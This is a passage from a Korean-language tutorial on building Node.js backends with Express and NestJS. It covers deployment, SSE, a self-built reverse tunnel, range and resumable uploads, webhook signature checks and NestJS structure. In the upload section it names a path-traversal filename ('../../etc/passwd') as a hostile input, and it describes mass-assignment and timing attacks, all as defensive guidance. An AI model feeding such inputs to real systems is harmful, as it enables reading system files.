env.ts ★ Zod 로 환경 변수 검증 (n08)
modules/
user/
user.routes.ts URL 매칭
user.service.ts 비즈니스 규칙 (req/res 를 모름)
user.repository.ts DB 접근
user.schema.ts Zod 스키마 + 타입
user.test.ts
shared/
middleware/ auth · validate · error
errors.ts AppError 계열
db.ts redis.ts logger.ts
types/
express.d.ts ★ Request 확장 (🔷 TS t13)
req·res 를 몰라야 합니다.
이 한 줄이 테스트 가능성·재사용성·나중에 Nest 로 옮길 여지를 전부 만듭니다.
(배치·큐 워커에서 같은 서비스를 그대로 부를 수 있게 됩니다)
배포 전 체크리스트
- ☐
NODE_ENV=production(Express 가 뷰 캐시 등을 켭니다) - ☐ 환경 변수 검증이 부팅 시 동작하는가
- ☐
/health엔드포인트 — DB 연결까지 확인 - ☐ 우아한 종료 — SIGTERM 처리(🟩 Node n08)
- ☐
keepAliveTimeout> 로드밸런서 타임아웃 - ☐ 구조화 로그 + 요청 ID
- ☐ helmet · cors · rate limit
- ☐ 비밀 값이 이미지에 없는지
# 멀티 스테이지 — 이미지 크기를 크게 줄입니다
FROM node:24-alpine AS build
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build
FROM node:24-alpine
WORKDIR /app
ENV NODE_ENV=production
COPY package*.json ./
RUN npm ci --omit=dev && npm cache clean --force
COPY --from=build /app/dist ./dist
# ★ root 로 실행하지 마세요
USER node
EXPOSE 3000
# ★ npm start 로 하면 SIGTERM 이 안 옵니다
# (Dockerfile 은 줄 끝 # 주석을 지원하지 않습니다 — 주석은 항상 따로 한 줄로)
CMD ["node", "dist/server.js"]
// /health — 진짜 상태를 확인해야 의미가 있습니다
app.get("/health", async (req, res) => {
try {
await prisma.$queryRaw`SELECT 1`;
await redis.ping();
res.json({ status: "ok", uptime: process.uptime() });
} catch (e) {
res.status(503).json({ status: "degraded" });
}
});
// ★ 단, liveness 프로브에는 DB 검사를 넣지 마세요 —
// DB 가 잠깐 흔들릴 때 모든 서버가 재시작됩니다 (🚀 대규모 k14)
실시간 — SSE · WebSocket
진행률 표시줄, 알림 뱃지, “누군가 입력 중…”. 대부분은 WebSocket 이 아니라 SSE 로 충분하고, 훨씬 쉽습니다.
무엇을 고를 것인가
| SSE | WebSocket | |
|---|---|---|
| 방향 | 서버 → 브라우저 | 양방향 |
| 프로토콜 | 그냥 HTTP | 업그레이드 필요 |
| 재연결 | 브라우저가 자동 | 직접 구현 |
| 프록시 | 대체로 무사통과 | 설정 필요 |
| 쓸 곳 | 알림 · 진행률 · 대시보드 | 채팅 · 협업 편집 · 게임 |
SSE — 30줄이면 끝난다
const clients = new Map<string, Response>();
app.get('/events', requireAuth, (req, res) => {
res.set({
'Content-Type': 'text/event-stream',
'Cache-Control': 'no-cache, no-transform', // no-transform 중요
'Connection': 'keep-alive',
'X-Accel-Buffering': 'no', // Nginx 버퍼링 끄기
});
res.flushHeaders();
// ★ push() 가 사용자 ID 로 찾으므로 키도 사용자 ID 로
// (한 사람이 탭을 여러 개 연다면 Map<string, Set<Response>> 로)
const id = String(req.user!.id);
clients.set(id, res);
// 15초마다 주석 한 줄 — 프록시가 유휴 연결을 끊는 것을 막는다
const ping = setInterval(() => res.write(': ping\n\n'), 15_000);
req.on('close', () => { clearInterval(ping); clients.delete(id); });
});
export function push(userId: string, event: string, data: unknown) {
const res = clients.get(userId);
if (!res) return;
res.write(`event: ${event}\n`);
res.write(`id: ${Date.now()}\n`); // 재연결 시 이어받기용
res.write(`data: ${JSON.stringify(data)}\n\n`); // 빈 줄 두 개가 끝 표시
}
X-Accel-Buffering: no 헤더나
서버 쪽 proxy_buffering off; 중 하나는 반드시 필요합니다
(🌐 서버기술 가이드 · Nginx 탭).
브라우저 쪽 — 끊김을 전제로
const es = new EventSource('/events', { withCredentials: true });
es.addEventListener('job.progress', (e) => {
const { jobId, percent } = JSON.parse(e.data);
setProgress(jobId, percent);
});
// 브라우저가 자동 재연결한다. 다만 '끊긴 동안'은 스스로 메워야 한다
es.onopen = () => syncMissed(); // 놓친 것 한 번 당겨오기
es.onerror = () => setStatus('연결 끊김 — 자동 재시도 중');
// 서버가 Last-Event-ID 를 받아 이어 보낼 수도 있다
// (req.headers['last-event-id'])
여러 대로 늘리면 생기는 문제
// Redis Pub/Sub 으로 서버 간에 이벤트를 흘려 준다
import { createClient } from 'redis';
const sub = createClient({ url: process.env.REDIS_URL });
const pub = sub.duplicate();
await Promise.all([sub.connect(), pub.connect()]);
// 어느 서버에서 발생하든 전체에 뿌린다
export const emit = (userId: string, event: string, data: unknown) =>
pub.publish('events', JSON.stringify({ userId, event, data }));
// 내 프로세스에 그 사용자가 붙어 있으면 내려보낸다
await sub.subscribe('events', (raw) => {
const { userId, event, data } = JSON.parse(raw);
push(userId, event, data);
});
- 연결 수 제한 — 한 사용자가 탭 20개를 열 수 있습니다. 사용자당 상한을 두세요
- 느린 클라이언트 —
res.write()가false를 반환하면 버퍼가 찬 것입니다. 계속 밀어 넣으면 서버 메모리가 터집니다 - 그레이스풀 셧다운 때 연결을 먼저 닫아 클라이언트가 다른 서버로 붙게 하세요
리버스 터널 직접 만들기
ngrok·Cloudflare Tunnel 이 하는 일을 200줄로 만들어 봅니다. 사내 장비 수백 대를 포트 하나 열지 않고 관리하는 에이전트 구조가 이것입니다.
중계 서버 — 요청을 소켓에 실어 보낸다
import express from 'express';
import { WebSocketServer } from 'ws';
import { randomUUID } from 'node:crypto';
const app = express();
const agents = new Map<string, WebSocket>(); // tenant → 소켓
const waiting = new Map<string, (r: TunnelRes) => void>(); // reqId → 응답 대기
const wss = new WebSocketServer({ noServer: true });
wss.on('connection', (ws, req, tenant: string) => {
agents.set(tenant, ws);
ws.on('message', (buf) => {
const msg = JSON.parse(buf.toString());
waiting.get(msg.id)?.(msg); // 기다리던 요청에 응답 전달
waiting.delete(msg.id);
});
// 죽은 연결 청소 — TCP 는 끊겨도 한동안 살아 있는 척한다
let alive = true;
ws.on('pong', () => { alive = true; });
const iv = setInterval(() => {
if (!alive) return ws.terminate();
alive = false; ws.ping();
}, 30_000);
ws.on('close', () => { clearInterval(iv); agents.delete(tenant); });
});
// 외부 요청 → 해당 테넌트의 에이전트로
// ★ Express 5 는 와일드카드에 이름이 필요합니다 (그냥 * 는 시작할 때 에러)
app.all('/t/:tenant/*rest', async (req, res) => {
const ws = agents.get(req.params.tenant);
if (!ws || ws.readyState !== ws.OPEN)
return res.status(503).json({ error: 'agent offline' });
const id = randomUUID();
const body = await readBody(req); // 상한을 두고 읽는다
const answer = new Promise<TunnelRes>((ok, ng) => {
waiting.set(id, ok);
setTimeout(() => { waiting.delete(id); ng(new Error('timeout')); }, 30_000);
});
ws.send(JSON.stringify({
id, method: req.method,
path: '/' + req.params.rest.join('/'), // *rest 는 경로 조각 배열
headers: stripHopByHop(req.headers),
body: body.toString('base64'),
}));
try {
const r = await answer;
res.status(r.status).set(r.headers).send(Buffer.from(r.body, 'base64'));
} catch { res.status(504).json({ error: 'agent timeout' }); }
});
사내 에이전트 — 받아서 로컬로 넘긴다
import WebSocket from 'ws';
const LOCAL = 'http://127.0.0.1:3000';
let backoff = 1_000;
function connect() {
const ws = new WebSocket(`wss://relay.example.com/agent`, {
headers: { authorization: `Bearer ${process.env.AGENT_TOKEN}` },
});
ws.on('open', () => { backoff = 1_000; log.info('tunnel up'); });
ws.on('message', async (buf) => {
const m = JSON.parse(buf.toString());
try {
// 로컬 서비스로 그대로 전달 (허용 경로만!)
const r = await fetch(LOCAL + m.path, {
method: m.method,
headers: m.headers,
body: ['GET', 'HEAD'].includes(m.method)
? undefined : Buffer.from(m.body, 'base64'),
signal: AbortSignal.timeout(25_000),
});
const body = Buffer.from(await r.arrayBuffer());
ws.send(JSON.stringify({
id: m.id, status: r.status,
headers: Object.fromEntries(r.headers),
body: body.toString('base64'),
}));
} catch (e) {
ws.send(JSON.stringify({ id: m.id, status: 502, headers: {}, body: '' }));
}
});
// 끊기면 지수 백오프로 재연결 — 중계 서버 재시작 때 몰리는 것을 막는다
const retry = () => {
const jitter = Math.random() * 1_000;
setTimeout(connect, Math.min(backoff, 60_000) + jitter);
backoff *= 2;
};
ws.on('close', retry);
ws.on('error', () => ws.close());
}
connect();
직접 만들 때 반드시 챙길 것
- 인증은 연결 시점에 — 토큰 검증 후에만
agents에 등록. 테넌트 id 를 클라이언트가 자기 입으로 말하게 두면 안 됩니다 - 경로 화이트리스트 — 에이전트가 로컬의 아무 데나 요청을 전달하면 사내망 전체가 노출됩니다(SSRF)
- 본문 크기 상한 — 메모리에 통째로 올리는 구조라 10MB 정도로 제한하고, 큰 파일은 별도 스트리밍 경로로
- 동시 요청 상한 — 에이전트당
p-limit으로 묶지 않으면 사내 서버가 먼저 쓰러집니다 - hop-by-hop 헤더 제거 —
connection·upgrade·transfer-encoding을 그대로 넘기면 프록시가 오작동합니다
직접 만들 것인가, 가져다 쓸 것인가
직접 만들 만한 경우
- 장비마다 다른 인증·권한이 필요하다
- 외부 SaaS 로 트래픽이 나가면 안 되는 데이터
- HTTP 만 통과시키면 되는 좁은 요구
- 에이전트에 다른 일도 시킬 예정(수집·배포)
가져다 쓰는 게 나은 경우
- TCP·UDP·SSH 까지 넘겨야 한다 → frp
- HTTPS·WAF·SSO 가 필요 → Cloudflare Tunnel
- 웹훅 테스트용 임시 → ngrok
- 운영 인력이 없다 — 터널은 24시간 살아 있어야 합니다
대용량 전송 — Range · 재개 업로드
동영상 탐색 바를 끌면 그 지점부터 재생되는 것, 2GB 업로드가 끊겼을 때 이어서 올라가는 것 — 둘 다 서버가 해 주는 일입니다.
Range 응답 — 동영상 스트리밍의 최소 조건
import { createReadStream } from 'node:fs';
import { stat } from 'node:fs/promises'; // ★ await 하려면 promises 쪽
app.get('/media/:id', async (req, res) => {
const file = await resolveSafe(req.params.id); // 경로 조작 방어
const { size } = await stat(file);
const range = req.headers.range;
if (!range) {
res.set({ 'Content-Length': size, 'Accept-Ranges': 'bytes',
'Content-Type': 'video/mp4' });
return createReadStream(file).pipe(res);
}
// "bytes=1048576-" 형태를 파싱한다
const m = /^bytes=(\d*)-(\d*)$/.exec(range);
if (!m) return res.status(416).set('Content-Range', `bytes */${size}`).end();
// "bytes=-500" 은 "끝에서 500바이트" 라는 뜻입니다 (접미 범위)
const start = m[1] ? Number(m[1]) : Math.max(0, size - Number(m[2]));
const end = m[1] && m[2] ? Math.min(Number(m[2]), size - 1) : size - 1;
if (start >= size || start > end)
return res.status(416).set('Content-Range', `bytes */${size}`).end();
res.status(206).set({
'Content-Range': `bytes ${start}-${end}/${size}`,
'Accept-Ranges': 'bytes',
'Content-Length': end - start + 1,
'Content-Type': 'video/mp4',
});
createReadStream(file, { start, end }).pipe(res);
});
206 과 Content-Range 가 없으면
브라우저는 탐색 바를 끌 수 없게 만듭니다(처음부터 다시 받습니다).
“재생은 되는데 탐색이 안 돼요”의 원인은 거의 항상 이것입니다.
업로드 — 메모리에 올리지 않기
메모리로 받기
multer({ storage: memoryStorage() })
// 2GB 파일 3개 = 서버 사망
디스크·스토리지로 흘리기
import { pipeline } from 'node:stream/promises';
await pipeline(req, createWriteStream(tmp));
// 또는 S3 멀티파트로 바로 흘린다
// 재개 가능한 업로드 — 청크를 오프셋으로 받는다 (tus 프로토콜의 핵심)
app.patch('/upload/:id', async (req, res) => {
const offset = Number(req.headers['upload-offset']);
const meta = await store.get(req.params.id);
if (!meta) return res.sendStatus(404);
// 클라이언트가 아는 위치와 서버가 아는 위치가 다르면 거부한다
if (offset !== meta.received)
return res.status(409).set('Upload-Offset', meta.received).end();
const ws = createWriteStream(meta.path, { flags: 'a' });
let written = 0;
req.on('data', (c) => { written += c.length; });
await pipeline(req, ws);
meta.received += written;
await store.set(req.params.id, meta);
res.set('Upload-Offset', meta.received).sendStatus(204);
});
파일은 앱 서버를 거치지 않는 게 최선
// 프리사인 URL — 브라우저가 스토리지에 직접 올린다
app.post('/upload-url', requireAuth, async (req, res) => {
const key = `u/${req.user.id}/${randomUUID()}`;
const url = await getSignedUrl(s3, new PutObjectCommand({
Bucket: BUCKET, Key: key,
ContentType: req.body.type,
}), { expiresIn: 300 }); // 5분짜리 일회용 주소
res.json({ url, key });
});
// 다운로드도 마찬가지 — 앱 서버는 '주소만' 발급한다
app.get('/files/:id/url', requireAuth, async (req, res) => {
const f = await db.file.findUnique({ where: { id: req.params.id } });
if (!f || f.ownerId !== req.user.id) return res.sendStatus(404);
res.json({ url: await getSignedUrl(s3,
new GetObjectCommand({ Bucket: BUCKET, Key: f.key }), { expiresIn: 60 }) });
});
- 앱 서버의 대역폭·메모리를 쓰지 않습니다
- Content-Type·크기 제한을 서명에 함께 걸 수 있습니다
- 업로드 완료는 스토리지 이벤트나 클라이언트 콜백으로 확인
놓치기 쉬운 것
- 백프레셔 —
pipe/pipeline을 쓰세요.res.write()반환값을 무시하고 계속 쓰면 메모리가 붑니다 - 중단 처리 — 사용자가 탭을 닫으면
req.on('aborted'). 임시 파일을 지워 주지 않으면 디스크가 찹니다 - 업로드 파일명을 그대로 쓰지 마세요 —
../../etc/passwd, 확장자 위장, 유니코드 트릭이 들어옵니다. 서버가 만든 UUID를 키로 쓰고 원본 이름은 DB 에만 두세요 - Nginx
client_max_body_size를 함께 올리지 않으면 앱까지 오지도 못하고 413 이 납니다 - 이미지·영상은 비동기 후처리 큐로 — 요청 안에서 변환하면 타임아웃이 납니다
결제·웹훅 — 돈이 걸린 API
결제 연동에서 사고가 나는 지점은 정해져 있습니다 — 중복 결제, 놓친 웹훅, 위조된 웹훅. 세 가지를 막는 패턴은 어느 결제사든 같습니다.
멱등성 — 같은 요청을 두 번 받아도 한 번만
// 클라이언트가 요청마다 키를 만들어 보낸다 (재시도 시 같은 키)
app.post('/orders', requireAuth, async (req, res) => {
const key = req.get('Idempotency-Key');
if (!key) return res.status(400).json({ error: 'Idempotency-Key 필요' });
// 같은 키로 이미 처리했다면 그때 결과를 그대로 돌려준다
const hit = await db.idempotency.findUnique({ where: { key } });
// (status 0 = 아직 처리 중 — res.status(0) 은 RangeError 이므로 따로 답한다)
if (hit?.status === 0) return res.status(409).json({ error: '처리 중입니다' });
if (hit) return res.status(hit.status).json(hit.body);
// 동시에 두 번 들어온 경우 — DB 유니크 제약이 한쪽을 막아 준다
try {
await db.idempotency.create({ data: { key, userId: req.user.id,
status: 0, body: {} } });
} catch { return res.status(409).json({ error: '처리 중입니다' }); }
const order = await createOrder(req.user.id, req.body);
await db.idempotency.update({
where: { key }, data: { status: 201, body: order },
});
res.status(201).json(order);
});
웹훅 수신 — 서명 검증이 먼저
// ★ 서명 검증에는 '가공되지 않은 원문'이 필요하다.
// express.json() 이 먼저 파싱해 버리면 검증할 수 없다.
app.post('/webhooks/pay',
express.raw({ type: 'application/json', limit: '1mb' }),
async (req, res) => {
const sig = req.get('x-signature') ?? '';
const ts = Number(req.get('x-timestamp') ?? 0);
// 재전송 공격 방어 — 5분 넘은 것은 거부
if (Math.abs(Date.now() / 1000 - ts) > 300) return res.sendStatus(400);
const mine = crypto.createHmac('sha256', process.env.WEBHOOK_SECRET!)
.update(`${ts}.`).update(req.body).digest();
const theirs = Buffer.from(sig, 'hex');
// 길이가 다르면 timingSafeEqual 이 예외를 던진다
if (mine.length !== theirs.length ||
!crypto.timingSafeEqual(mine, theirs)) return res.sendStatus(401);
const event = JSON.parse(req.body.toString());
// 같은 이벤트가 여러 번 온다 — 결제사는 재시도를 보장한다
const fresh = await db.webhookEvent.create({ data: { id: event.id } })
.catch(() => null);
if (!fresh) return res.sendStatus(200); // 이미 처리함
// ★ 무거운 일은 큐에 넣고 즉시 200 — 늦게 답하면 결제사가 재시도한다
await queue.add('pay.event', event);
res.sendStatus(200);
});
=== 로 서명을 비교하지 마세요.
문자열 비교는 다른 첫 글자에서 즉시 멈추므로
걸린 시간으로 정답을 한 글자씩 알아낼 수 있습니다(타이밍 공격).
반드시 crypto.timingSafeEqual 을 쓰세요.
웹훅을 못 받았을 때 — 폴링 보완
// 웹훅은 '반드시 온다'가 아니라 '보통 온다' 입니다.
// 서버 재배포 중이거나 장애가 나면 그대로 유실됩니다.
// 그래서 상용 서비스는 폴링을 하나 더 둡니다.
// 5분마다: 결제 요청은 있는데 아직 결론이 없는 건을 직접 조회
cron.schedule('*/5 * * * *', async () => {
const stuck = await db.order.findMany({
where: { status: 'PENDING', createdAt: { lt: minutesAgo(3) } },
take: 100,
});
for (const o of stuck) {
const r = await pg.getPayment(o.paymentKey); // 결제사에 직접 물어본다
if (r.status === 'DONE') await markPaid(o.id, r);
if (r.status === 'CANCELED') await markCanceled(o.id, r);
}
});
돈이 걸린 API 의 기본기
- 금액을 클라이언트에서 받지 마세요. 상품 id 만 받고 금액은 서버가 계산합니다 — 가장 흔한 취약점입니다
- 결제 승인과 주문 확정은 같은 트랜잭션에 — 중간에 죽으면 돈은 빠졌는데 주문이 없는 상태가 됩니다
- 모든 상태 변화를 로그로 — 분쟁이 나면 로그가 증거입니다. 절대 지우거나 덮어쓰지 마세요(append-only)
- 테스트 키와 운영 키를 코드로 분리 — 운영 DB 에 테스트 결제가 섞이면 정산이 안 맞습니다
- 환불·부분취소까지 설계한 뒤 시작하세요. 나중에 붙이면 상태 머신을 다시 짜야 합니다
스프링을
알면
이미 반은 안다
NestJS 는 Spring 의 구조를 노드로 옮겨 온 프레임워크입니다. 모듈 · DI · 컨트롤러 · 서비스 · 인터셉터 · 가드가 거의 1:1 로 대응됩니다. Express 가 자유를 준다면 Nest 는 일관성을 줍니다 — 팀이 커질수록 후자가 이깁니다. 여기까지 마치면 여러 명이 함께 고치는 백엔드 서비스를 Nest 구조로 설계하고 운영할 수 있습니다.
Nest 가 필요한 순간
항상 Nest 가 정답은 아닙니다. 기준을 먼저 세웁시다.
Express 와의 비교
| 항목 | Express / NestJS |
|---|---|
| 구조 | 자유 (팀마다 제각각) / 강제 (어디 가나 같은 모양) |
| DI | 없음 (직접 import) / 내장 |
| 학습 곡선 | 낮음 / 높음 (데코레이터·모듈 개념) |
| 보일러플레이트 | 적음 / 많음 |
| 테스트 | 직접 구성 / 테스트 모듈 제공 |
| 적합한 규모 | ~중형 / 중형 이상 · 장기 유지보수 |
스프링과의 대응표 — 자바 개발자용
| Spring Boot | NestJS |
|---|---|
@SpringBootApplication | @Module (AppModule) |
@RestController | @Controller |
@Service | @Injectable |
@Repository | @Injectable + TypeORM Repository |
| 생성자 주입 | 동일 (constructor(private x: X)) |
@Valid + Bean Validation | ValidationPipe + class-validator |
@ControllerAdvice | ExceptionFilter |
| Spring Security 필터 | Guard |
AOP @Around | Interceptor |
@Transactional | 수동 또는 @Transactional 라이브러리 |
| application.yml | ConfigModule + .env |
@Transactional 은 기본 제공이 아닙니다.
스프링처럼 애너테이션 하나로 트랜잭션이 걸릴 것이라 기대하면 안 됩니다.
s12 에서 실무 해법을 다룹니다.
프로젝트 구조 · CLI
CLI 가 파일을 만들어 줍니다. 정해진 자리에 정해진 이름으로.
시작하기
npm i -g @nestjs/cli
nest new my-api # 프로젝트 생성
# 리소스 한 벌 통째로 (컨트롤러·서비스·DTO·테스트)
nest g resource users # ★ 가장 많이 씁니다
# 개별 생성
nest g module orders
nest g controller orders
nest g service orders
nest g guard auth
nest g interceptor logging
nest g pipe validation
npm run start:dev # 감시 모드
npm run build && npm run start:prod
src/
main.ts 부트스트랩 (전역 파이프·CORS·Swagger)
app.module.ts 루트 모듈
common/
filters/ 예외 필터
guards/ 가드
interceptors/ 인터셉터
decorators/ 커스텀 데코레이터
dto/ 공통 DTO (페이지네이션 등)
config/
configuration.ts 설정 로더 + 검증
modules/
users/
users.module.ts
users.controller.ts
users.service.ts
dto/create-user.dto.ts
entities/user.entity.ts
users.service.spec.ts
orders/
...
main.ts — 실무 기본형
import { NestFactory } from "@nestjs/core";
import { ValidationPipe, VersioningType } from "@nestjs/common";
import helmet from "helmet";
async function bootstrap() {
const app = await NestFactory.create(AppModule, {
bufferLogs: true, // 로거 준비 전 로그를 모아 둠
});
app.use(helmet());
app.enableCors({ origin: process.env.ALLOWED_ORIGINS?.split(",") });
app.setGlobalPrefix("api");
app.enableVersioning({ type: VersioningType.URI }); // /api/v1/...
// ★ 전역 검증 파이프 — 이 설정이 핵심입니다 (s06)
app.useGlobalPipes(new ValidationPipe({
whitelist: true, // DTO 에 없는 속성 제거
forbidNonWhitelisted: true, // 있으면 에러
transform: true, // 문자열 → 숫자 자동 변환
transformOptions: { enableImplicitConversion: true },
}));
app.enableShutdownHooks(); // ★ SIGTERM 처리 (s16)
await app.listen(process.env.PORT ?? 3000);
}
bootstrap();
whitelist: true 를 반드시 켜세요.
DTO 에 정의하지 않은 필드를 자동으로 제거합니다.
이것이 없으면 { role: "admin" } 을 몰래 넣는
Mass Assignment 공격에 노출됩니다.
모듈 · 의존성 주입
Nest 의 뼈대입니다. 이 절만 이해하면 나머지는 문법입니다.
모듈 — 기능의 경계
@Module({
imports: [ // 이 모듈이 쓸 다른 모듈
TypeOrmModule.forFeature([User]),
forwardRef(() => OrdersModule), // 순환 참조 해결
],
controllers: [UsersController], // HTTP 진입점
providers: [ // 주입 가능한 것들
UsersService,
UsersRepository,
{ provide: "CACHE_TTL", useValue: 300 }, // 값 주입
{ provide: MailService, useClass: SmtpMailService }, // 구현 교체
{ // 팩토리
provide: "REDIS",
useFactory: (cfg: ConfigService) => createClient({ url: cfg.get("REDIS_URL") }),
inject: [ConfigService],
},
],
exports: [UsersService], // ★ 다른 모듈에 공개할 것 (안 적으면 못 씁니다)
})
export class UsersModule {}
Nest can't resolve dependencies of X.
원인은 셋 중 하나입니다:
① 프로바이더를 providers 에 안 넣음,
② 다른 모듈 것인데 그쪽에서 exports 를 안 함,
③ 그 모듈을 imports 에 안 넣음.
의존성 주입 — 왜 좋은가
@Injectable()
export class UsersService {
constructor(
private readonly repo: UsersRepository, // ★ 타입만 적으면 주입됩니다
private readonly mailer: MailService,
@Inject("CACHE_TTL") private readonly ttl: number, // 토큰으로 주입
) {}
}
// 테스트에서는 가짜로 갈아 끼울 수 있습니다
const module = await Test.createTestingModule({
providers: [
UsersService,
{ provide: UsersRepository, useValue: mockRepo }, // ★
{ provide: MailService, useValue: { send: vi.fn() } },
{ provide: "CACHE_TTL", useValue: 60 },
],
}).compile();
전역 모듈과 동적 모듈
// 어디서나 쓰이는 것 (Config·Logger·Prisma)
@Global()
@Module({ providers: [PrismaService], exports: [PrismaService] })
export class PrismaModule {}
// ★ 남용하지 마세요 — 의존 관계가 안 보이게 됩니다
// 동적 모듈 — 설정을 받아 구성 (라이브러리에서 흔한 패턴)
@Module({})
export class MailModule {
static forRoot(options: MailOptions): DynamicModule {
return {
module: MailModule,
providers: [{ provide: "MAIL_OPTIONS", useValue: options }, MailService],
exports: [MailService],
};
}
}
// AppModule 에서: MailModule.forRoot({ host: ... })
Scope.REQUEST 로 요청마다 새로 만들 수 있지만
성능이 크게 떨어집니다. 요청 정보가 필요하면
AsyncLocalStorage(🟩 Node n16)나 CLS 를 쓰세요.
컨트롤러 · 라우팅
URL 과 함수를 잇는 얇은 층. 로직을 여기 두지 마세요.
기본형
@Controller("users") // → /api/users
export class UsersController {
constructor(private readonly service: UsersService) {}
@Get()
findAll(@Query() query: ListUsersDto) {
return this.service.findAll(query); // ★ Promise 를 그냥 반환하면 됩니다
}
@Get(":id")
findOne(@Param("id", ParseIntPipe) id: number) { // ★ 변환+검증
return this.service.findOne(id);
}
@Post()
@HttpCode(201)
create(@Body() dto: CreateUserDto) {
return this.service.create(dto);
}
@Patch(":id")
update(@Param("id", ParseIntPipe) id: number,
@Body() dto: UpdateUserDto) {
return this.service.update(id, dto);
}
@Delete(":id")
@HttpCode(204)
remove(@Param("id", ParseIntPipe) id: number) {
return this.service.remove(id);
}
}
자주 쓰는 데코레이터
| 데코레이터 | 용도 |
|---|---|
@Param @Query @Body | 요청 값 |
@Headers @Ip @Session | 메타 정보 |
@Req @Res | 원본 객체 — 가급적 쓰지 마세요 |
@HttpCode @Header @Redirect | 응답 제어 |
@UseGuards @UseInterceptors @UseFilters | 파이프라인 |
@UsePipes | 변환·검증 |
// 커스텀 데코레이터 — 실무에서 반드시 만들게 됩니다
export const CurrentUser = createParamDecorator(
(data: keyof JwtUser | undefined, ctx: ExecutionContext) => {
const req = ctx.switchToHttp().getRequest();
return data ? req.user?.[data] : req.user;
},
);
// 사용
@Get("me")
getMe(@CurrentUser() user: JwtUser) {
return this.service.findOne(user.id);
}
@Get("my-orders")
myOrders(@CurrentUser("id") userId: number) { ... }
@Res() 를 쓰면 Nest 의 자동 응답 처리가 꺼집니다.
인터셉터의 응답 변환·직렬화가 동작하지 않게 되므로,
꼭 필요하면 @Res({ passthrough: true }) 를 쓰세요
(쿠키만 설정하고 반환은 Nest 에 맡기는 경우).
프로바이더 · 서비스
실제 일을 하는 곳. HTTP 를 몰라야 좋은 서비스입니다.
서비스 작성
@Injectable()
export class UsersService {
private readonly logger = new Logger(UsersService.name);
constructor(
private readonly repo: UsersRepository,
private readonly events: EventEmitter2,
) {}
async create(dto: CreateUserDto): Promise<User> {
const exists = await this.repo.findByEmail(dto.email);
if (exists) throw new ConflictException("이미 가입된 이메일입니다");
const { password, ...rest } = dto; // ★ 평문 비밀번호는 저장 객체에서 뺍니다
const user = await this.repo.save({
...rest,
passwordHash: await bcrypt.hash(password, 12),
});
this.logger.log(`사용자 생성 id=${user.id}`);
this.events.emit("user.created", new UserCreatedEvent(user.id));
return user;
}
async findOne(id: number): Promise<User> {
const user = await this.repo.findById(id);
if (!user) throw new NotFoundException(`사용자 ${id} 를 찾을 수 없습니다`);
return user;
}
}
NotFoundException·ConflictException·
BadRequestException·ForbiddenException 등을 던지면
Nest 가 알맞은 상태 코드로 변환합니다.
도메인 규칙이 복잡해지면 커스텀 예외 + 필터로 확장하세요(s07).
생명주기 훅
@Injectable()
export class CacheWarmer implements OnModuleInit, OnModuleDestroy {
async onModuleInit() {
await this.warmUp(); // ★ 앱 시작 시 1회
}
async onModuleDestroy() {
await this.client.quit(); // ★ 종료 시 정리 (enableShutdownHooks 필요)
}
}
// 순서: onModuleInit → onApplicationBootstrap
// → (종료) onModuleDestroy → beforeApplicationShutdown → onApplicationShutdown
이벤트로 느슨하게 연결하기
npm i @nestjs/event-emitter// 발행
this.events.emit("order.created", { orderId, userId });
// 구독 — 다른 모듈에서
@Injectable()
export class OrderCreatedListener {
@OnEvent("order.created", { async: true })
async handle(event: OrderCreatedEvent) {
await this.mail.sendOrderConfirm(event.orderId);
}
}
DTO · 파이프 · 검증
입구에서 걸러 내면 뒤쪽 코드가 전부 안전해집니다.
class-validator 방식 (Nest 기본)
npm i class-validator class-transformerexport class CreateUserDto {
@IsEmail({}, { message: "이메일 형식이 아닙니다" })
email: string;
@IsString()
@MinLength(8)
@Matches(/[0-9]/, { message: "숫자를 포함해야 합니다" })
password: string;
@IsString()
@Length(1, 50)
name: string;
@IsOptional()
@IsInt()
@Min(0) @Max(150)
@Type(() => Number) // ★ 쿼리는 문자열이므로 변환 필요
age?: number;
@IsEnum(Role)
role: Role = Role.USER;
@ValidateNested({ each: true }) // 중첩 객체 검증
@Type(() => AddressDto)
addresses: AddressDto[];
}
// 부분 업데이트용 — 전부 optional 로 만들어 줍니다
export class UpdateUserDto extends PartialType(CreateUserDto) {}
// 일부만 골라 쓰기
export class LoginDto extends PickType(CreateUserDto, ["email", "password"]) {}
파이프 — 변환과 검증
// 내장 파이프
@Param("id", ParseIntPipe) id: number
@Query("active", ParseBoolPipe) active: boolean
@Param("uuid", ParseUUIDPipe) uuid: string
@Query("page", new DefaultValuePipe(1), ParseIntPipe) page: number
// 커스텀 파이프
@Injectable()
export class TrimPipe implements PipeTransform {
transform(value: unknown) {
return typeof value === "string" ? value.trim() : value;
}
}
Zod 를 쓰고 싶다면
// class-validator 대신 Zod 로 통일하는 팀도 많습니다
@Injectable()
export class ZodValidationPipe implements PipeTransform {
constructor(private schema: ZodSchema) {}
transform(value: unknown) {
const r = this.schema.safeParse(value);
if (!r.success) {
throw new BadRequestException({
message: "입력값이 올바르지 않습니다",
errors: r.error.issues.map(i => ({ field: i.path.join("."), message: i.message })),
});
}
return r.data;
}
}
@Post()
create(@Body(new ZodValidationPipe(CreateUserSchema)) dto: CreateUserDto) {}
예외 필터
스프링의 @ControllerAdvice 와 같은 역할입니다.
전역 예외 필터
@Catch() // 모든 예외
export class AllExceptionsFilter implements ExceptionFilter {
private readonly logger = new Logger("Exception");
catch(exception: unknown, host: ArgumentsHost) {
const ctx = host.switchToHttp();
const res = ctx.getResponse<Response>();
const req = ctx.getRequest<Request>();
const requestId = req.headers["x-request-id"];
// ① Nest 내장 예외
if (exception instanceof HttpException) {
const status = exception.getStatus();
const body = exception.getResponse();
if (status >= 500) this.logger.error({ exception, requestId });
return res.status(status).json({ ...normalize(body), requestId });
}
// ② 라이브러리 예외 변환
if (exception instanceof Prisma.PrismaClientKnownRequestError) {
if (exception.code === "P2002")
return res.status(409).json({ code: "DUPLICATE", requestId });
if (exception.code === "P2025")
return res.status(404).json({ code: "NOT_FOUND", requestId });
}
// ③ 예상치 못한 것 — 내부 정보를 감춥니다
this.logger.error({ exception, path: req.url, requestId }, "처리되지 않은 예외");
res.status(500).json({
code: "INTERNAL_ERROR", message: "서버 오류가 발생했습니다", requestId,
});
}
}
// main.ts
app.useGlobalFilters(new AllExceptionsFilter());
도메인 예외 설계
// 비즈니스 규칙 위반은 HTTP 를 몰라도 되게
export class DomainError extends Error {
constructor(message: string, public readonly code: string) {
super(message);
this.name = this.constructor.name;
}
}
export class InsufficientStockError extends DomainError {
constructor(productId: number) {
super(`상품 ${productId} 의 재고가 부족합니다`, "INSUFFICIENT_STOCK");
}
}
